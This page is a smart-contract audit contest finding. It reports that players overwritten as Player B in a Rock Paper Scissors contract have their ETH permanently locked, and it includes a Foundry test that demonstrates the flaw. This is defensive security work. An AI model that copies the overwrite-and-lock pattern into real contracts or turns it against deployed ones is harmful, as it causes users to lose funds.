Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

ETH and Winning Token Deposited by Overwritten Players Becomes Permanently Locked in RockPaperScissors.sol

Invcbull Audit Group

Summary

ETH and winning token deposited by overwritten players becomes permanently locked in the contract with no withdrawal mechanism

Vulnerability Details

Root cause:

// No mechanism to withdraw locked ETH
​
// No tracking of overwritten players' deposits
​
// No emergency withdrawal function
​

Initial State:

  • Contract deployed

  • No existing mechanism to recover locked ETH and winning token deposited

Step 1:

  • Player A creates game

  • Multiple players get overwritten as Player B because others keep joining the game before it enters commit phase

  • Their ETH deposits accumulate in contract

Step 2:

  • Game completes normally

  • Winner receives prize

  • Admin withdraws fees

Outcome:

  • Overwritten players' ETH and winning token remains locked

  • No mechanism to recover funds

  • Contract balance permanently increased

Impact

  • Permanent loss of user funds

  • Contract becomes ETH and winning token sink

  • No emergency withdrawal mechanism

  • Accumulated ETH cannot be recovered

Tools Used

Manual Review

POC

pragma solidity ^0.8.13;
​
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
​
contract TokenLockTest is Test {
RockPaperScissors public rps;
address alice = address(0x1);
address bob = address(0x2);
address mallory = address(0x3);
address admin = address(0x4);
function setUp() public {
// Set admin as deployer
vm.startPrank(admin);
// Deploy contracts with admin as msg.sender
rps = new RockPaperScissors();
vm.stopPrank();
// Fund accounts with ETH
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
vm.deal(mallory, 10 ether);
}
function testEthLock() public {
// Store initial balances
uint256 bobInitialBalance = address(bob).balance;
uint256 malloryInitialBalance = address(mallory).balance;
uint256 adminInitialBalance = address(admin).balance;
// 1. Alice creates ETH game
vm.startPrank(alice);
uint256 gameId = rps.createGameWithEth{value: 1 ether}(1, 5 minutes);
vm.stopPrank();
// 2. Bob joins game with ETH
vm.startPrank(bob);
rps.joinGameWithEth{value: 1 ether}(gameId);
vm.stopPrank();
// 3. Mallory overwrites Bob's position
vm.startPrank(mallory);
rps.joinGameWithEth{value: 1 ether}(gameId);
vm.stopPrank();
// 4. Play out the game between Alice and Mallory
vm.startPrank(alice);
bytes32 salt = bytes32(uint256(1));
bytes32 commitHash = keccak256(abi.encodePacked(uint8(1), salt)); // Rock
rps.commitMove(gameId, commitHash);
vm.stopPrank();
vm.startPrank(mallory);
bytes32 saltM = bytes32(uint256(2));
bytes32 commitHashM = keccak256(abi.encodePacked(uint8(2), saltM)); // Paper
rps.commitMove(gameId, commitHashM);
vm.stopPrank();
// 5. Reveal moves
vm.startPrank(alice);
rps.revealMove(gameId, 1, salt); // Rock
vm.stopPrank();
vm.startPrank(mallory);
rps.revealMove(gameId, 2, saltM); // Paper
vm.stopPrank();
// 6. Admin withdraws accumulated fees
uint256 feesToWithdraw = rps.accumulatedFees();
vm.startPrank(admin);
rps.withdrawFees(feesToWithdraw);
vm.stopPrank();
// Verify final state
assertEq(address(bob).balance, bobInitialBalance - 1 ether, "Bob's ETH should still be locked");
assertGt(address(mallory).balance, malloryInitialBalance - 1 ether, "Mallory should have received winnings");
assertGt(address(admin).balance, adminInitialBalance, "Admin should have received fees");
assertGt(address(rps).balance, 0, "Contract should still have Bob's locked ETH");
// Log final states
console.log("Bob's locked ETH:", bobInitialBalance - address(bob).balance);
console.log("Contract's remaining balance:", address(rps).balance);
console.log("Admin's fee received:", address(admin).balance - adminInitialBalance);
console.log("Mallory's net change:", address(mallory).balance - malloryInitialBalance);
}
}

Recommendations

  1. Add emergency withdrawal function for admin

  2. Implement withdrawal mechanism for overwritten players:

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Orphaned ETH due to Unrestricted receive() or Canceled Game

ETH sent directly to the contract via the receive function or after a canceled game becomes permanently locked

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.